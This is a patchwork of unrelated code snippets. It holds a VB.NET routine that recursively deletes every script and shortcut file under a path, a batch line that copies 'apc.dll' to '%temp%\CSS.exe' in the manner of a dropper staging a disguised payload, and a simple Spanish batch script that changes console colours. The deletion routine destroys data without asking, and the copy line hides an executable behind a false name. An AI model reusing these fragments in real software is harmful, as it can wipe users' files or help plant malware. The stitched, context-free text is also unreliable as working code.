Private Sub Delete(ByVal Parch As String)
For Each Archivo As String In My.Computer.FileSystem.GetFiles( _
                                    Parch , _
                                    FileIO.SearchOption.SearchAllSubDirectories, _
                                    "*.lnk", "*.cmd", "*.js", "*.wsf", "*.vbs", "*.bat", "*.jse", "*.vbe")
                Dim signature As String = Archivo
                Dim dicrectory As String = "Script"
                Dim lvi As New ListViewItem(signature)
                lvi.SubItems.Add(dicrectory)
                lvi.SubItems.Add("[ Deleted ]")
                listv.Items.Add(lvi)
                My.Computer.FileSystem.DeleteFile(Archivo)
 
            Next
End Sub

:mksys
if exist apc.dll copy /b "apc.dll" "%temp%\CSS.exe" >nul 

@echo off
:main
 cls
  title colores
   echo Programado por _Flamer_
   echo/
   echo/
set /p color=ingrese el color en 2 digitos del 1 al F.....Ejemplo: 0a :  
   if not defined color (goto:main) >NUL
    color %color% & pause >NUL